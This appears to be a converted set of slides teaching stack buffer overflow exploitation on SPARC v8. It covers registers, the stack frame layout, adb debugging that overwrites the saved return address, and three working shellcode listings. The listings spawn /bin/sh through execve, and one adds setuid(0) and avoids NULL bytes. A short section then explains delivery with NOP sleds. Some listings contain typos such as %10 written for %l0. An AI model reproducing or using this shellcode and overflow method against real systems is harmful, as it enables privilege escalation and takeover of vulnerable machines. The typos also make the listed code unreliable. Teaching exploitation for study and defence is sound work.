

SPARC Buffer Overflows

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Overview

- Introduction to SPARC and SPARC assembly
- The Stack
- 'adb' and 'dis'
- Overflow
- Shellcode
- Deliver

SPARC (Scalable Processor ARCitecture), version 8

- 32-bit RISC Architecture
- Pipelined
- LOAD/STORE
- “Register Windows”

Memory access

- Only load and store instructions operate on memory
- All memory is accessed register-indirect (registers act like pointers)
- All instructions and integer registers are 1 word (4 bytes)

Registers

- Global registers %g0 - %g7
 - %g0 is hardwired to zero
- Output registers %o0 - %o7
 - %o6 (%sp) is the stack pointer
- Local registers %l0 - %l7
- Input registers %i0 - %i7
 - %i6 (%fp) is the frame pointer (caller's %sp)

Register Windows

- Each function gets their own “window” of 32 registers
- Caller’s output registers become input registers
- Fresh local and output registers
- Performed by SAVE and RESTORE instructions

Subroutine Calling Convention

1. Caller places arguments in output registers
2. Caller calls function
3. Callee uses SAVE instruction to allocate a new register window and space for automatic variables
4. Callee does its thing
5. Callee returns (RET) and RESTOREs caller's register window

Example

```
main:    call     foo
          set      0xDEADBEEF, %o0 ! delay slot
          ...
foo:     save    %sp, -96, %sp
          ld      [%i0], %l0
          add    %l0, 42, %l1
          st     %l1, [%i0]
          ret
          restore
```

Traps

- Transfers of control to supervisor software (kernel)
- Requests for service from the application to the operating system
- Some people call these “interrupts”
- Why do we care?

System Calls

- Arguments in output registers
- System call number in %g1
- Trap 8
- Read /usr/include/sys/syscall.h
- Example:

```
mov    %g0, %o0
set    23, %g1
ta     8          ! setuid(0)
```

The Stack

Know Your Enemy

- Stack grows downward
- Reserves space for register window in case of overflow/underflow
- Automatic variables negative offsets from %fp
- Everything else positive offsets from %sp

The Stack: C Struct Style

```
/* Minimum stack frame (96 bytes) */
struct stack {
    int          locals[8];
    int          inputs[6];
    struct stack* fp;
    int          saved_pc;
    void*        struct_ret;
    int          args[6];
    int          argx[1];
};
```

The Stack: ASCII-Art Style

```
<-- Stack growth           High memory -->
| 32    32   4  24  4  X | 32    28
|LLLLL LIIIIIIISDDDDDA B|L...LI...I*...
| Locals  Inputs S dump A Buf |
%sp                  %fp      Saved PC
```

Smashing the Stack

“Cats and dogs living together, mass hysteria!”

1. Previous stack frame’s %i7 (saved %PC) is overwritten
2. Overflowed function returns
 - %i7 = %fp = target address
 - %sp (overflowed functions’ %fp) is still valid
3. Overflowed function’s caller gets REAL confused
4. Overflowed function’s caller returns and restores
 - Jumps to %i7 + 8 (target address + 8)

This is Your Stack On Drugs

```
-----\
|          (.) |
|LLLLLLLLIIIIISDDDDDA#####|*****... .
| Locals   Inputs S dump A Buf |           |
%sp                  %fp      Saved PC
```

dis(1)

Object Code Disassembler

```
% dis -F main foo

...
section .text
main()
109d0: 9d e3 bf 90    save   %sp, -112, %sp
109d4: f0 27 a0 44    st      %i0, [%fp + 68]
109d8: f2 27 a0 48    st      %i1, [%fp + 72]
109dc: d0 07 a0 44    ld      [%fp + 68], %o0
109e0: 80 a2 20 01    cmp     %o0, 1
...
```

The Absolute Debugger, adb(1)

Command syntax:

address, count command modifiers

Examples:

- `main,10?i`
- `0xCODEBABA/X`
- `<sp=X`
- `<sp/24X`
- `<fp+3c/W 0xDEADBEEF`

Interactive Debugging in ADB

- `$r` Show all registers
- `$q` Quit
- `address:b` Set breakpoint
- `:r` Run
- `:s` Step to the next instruction
- `:e` Step over CALLs
- `:c` Continue

Contrived Session

```
% adb smashme
smash:b
:r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAA
breakpoint at:
smash:      save    %sp, -0xf0, %sp
:s
stopped at:
smash+4:    st      %i0, [%fp + 0x44]
:s
stopped at:
smash+8:    add    %fp, -0x90, %o1
:s
stopped at:
smash+0xc:   mov    %o1, %o0
:s
stopped at:
smash+0x10:   ld     [%fp + 0x44], %o1
:s
stopped at:
smash+0x14:   call   0x20b8c
```

```
<sp/24X
0xfffff840: 4000084    109e0    f0000000    0
               40        40        7          fbf62b80
               efffb24    efffa08    effffa04    2
               ef7a23b4    ef718cb0    effff930    109c4
               1000      ef7ee63c    ef70bbb3    ef7eef20
               ef7ee63c    ef7ee35c    65        0
<fp/24X
0xfffff930: 4400086    89758    ef718c5c    0
               100       101       7          fbf62b80
               2          efffa04    effffa10    20c78
               0          0          effff9a0    1083c
               0          efffb24    effff9a0    107fc
               3          efffa04    4          effffa10
<fp+3c/X
0xfffff96c: 1083c
:s
stopped at:
smash+0x18:  nop
:e
stopped at:
smash+0x1c:  clr      %i0
<fp+3c/X
0xfffff96c: 41414141
<fp/24X
0xfffff930: 41414141    41414141    41414141    41414141
               41414141    41414141    41414141    41414141
               41414141    41414141    41414141    41414141
```

```
41414141    41414141    41414141    41414141
41414141    41414141    41414141    41414141
41414141    41414141    41414141    41414141

:s
stopped at:
smash+0x20:    ba      smash+0x28
:s
stopped at:
smash+0x24:    nop
:s
stopped at:
smash+0x28:    ret
:s
stopped at:
smash+0x2c:    restore
:s
stopped at:
main+0x58:     clr     %i0
$r
g0    0x0          10   0x41414141
g1    0xfffff99a  11   0x41414141
g2    0x0          12   0x41414141
g3    0x0          13   0x41414141
g4    0x0          14   0x41414141
g5    0x0          15   0x41414141
g6    0x0          16   0x41414141
g7    0x0          17   0x41414141
o0    0x0          i0   0x41414141
```

```
o1 0xfffffa08          i1 0x41414141
o2 0xfffffa04          i2 0x41414141
o3 0x2                i3 0x41414141
o4 0xef7a23b4          i4 0x41414141
o5 0xef718cb0  atexit+0x58  i5 0x41414141
sp 0xfffff930          fp 0x41414141
o7 0x109c4  main+0x50  i7 0x41414141
y 0x0
psr 0x4400085
pc 0x109cc main+0x58:    clr %i0
npc 0x109d0 main+0x5c:   ba  main+0x64
:s
stopped at:
main+0x5c:    ba  main+0x64
:s
stopped at:
main+0x60:    nop
:s
stopped at:
main+0x64:    ret
:s
SIGBUS: Bus Error (invalid address alignment)
stopped at:
main+0x64:    ret
:$q
```

The Code

*“clatu, verata, nict- *cough*”*

- Write assembly code in C asm blocks
- Disassemble the object code
- Put the code in a C char array
- Cast the shellcode to a function pointer and call it

Simple Shellcode

```
/* Simple Shellcode (68 bytes)
 * Contains NULLs
 */
save    %sp, -96, %sp          ! (Allocate minimum register window)
add     %sp, -8, %sp           ! char* sh;
sub     %fp, 16, %o0           ! %o0 = sh;
add     %sp, -8, %sp           ! char** argv;
sub     %fp, 8, %o1             ! %o1 = argv;
mov     %g0, %o2               ! %o2 = NULL;
set    0x2f62696e, %10         ! (void*)sh = "/bin";
st      %10, [%o0]
set    0x2f736800, %10         ! (void*)sh + 4 = "/sh\0";
st      %10, [%o0 + 4]
st      %o0, [%o1]             ! argv[0] = sh;
st      %g0, [%o1 + 4]          ! argv[1] = NULL;
set    59, %g1                 ! (system call 59 == execve)
ta      8                      ! execve(sh, argv, NULL);
ret                           ! (Return and restore register window
restore                         ! in case execve fails)
```

Better Shellcode

```
/* Better Shellcode (64 bytes)
 * No NULLs
 * Still assumes its a well-behaved function
 */
add    %sp, -16, %sp          ! char* sh; char** argv;
sub    %fp, 16, %o0           ! %o0 = sh;
sub    %fp, 8, %o1            ! %o1 = argv;
and    %o1, 2, %o2            ! %o2 = NULL;
set    0x2f62696e, %10        ! (void*)sh = "/bin";
set    0x2f736800, %11        ! (void*)sh + 4 = "/sh0";
std    %10, [%fp - 16]
st     %o0, [%fp - 8]         ! argv[0] = sh;
st     %g0, [%fp - 4]         ! argv[1] = NULL;
mov    59, %g1                ! (system call 59 == execve)
ta    8                      ! execve(sh, argv, NULL);
and    %o1, 2, %o0            ! exit(0)
mov    1, %g1
ta    8
```

Even Better Shellcode

```
/* Even Better Shellcode
 * No NULLs
 * real UID = 0, so /bin/sh won't discard privileges
 */
xor    %sp, %sp, %o0      ! %o0 = 0;
mov    23, %g1
ta    8                  ! setuid(0);
set   0x2f62696e, %l0      ! (void*)sh = "/bin";
set   0x2f736800, %l1      ! (void*)sh + 4 = "/sh\0";
sub   %sp, 16, %o0      ! %o0 = sh
sub   %sp, 8, %o1      ! %o1 = {sh, NULL};
xor   %sp, %sp, %o2      ! %o2 = NULL;
std   %l0, [%sp - 16]
st    %o0, [%sp - 8]      ! argv[0] = sh;
st    %g0, [%sp - 4]      ! argv[1] = NULL;
mov    59, %g1
ta    8                  ! execve(sh, argv, NULL);
xor   %sp, %sp, %o0      ! %o0 = 0;
mov    1, %g1
ta    8                  ! exit(0)
```

Delivery

“Candygram...”

- Same as on other architectures
- NOPs + Code + Jump address
- Jump address + NOP + Code
- See Greg Hoglund’s *Advanced Buffer Overflow Techniques*

Examples

Material

- <http://www.linuxassembly.org>
- <http://www.shellcode.org> (currently down)
- <http://www.dopesquad.net/security> (when I put this up there)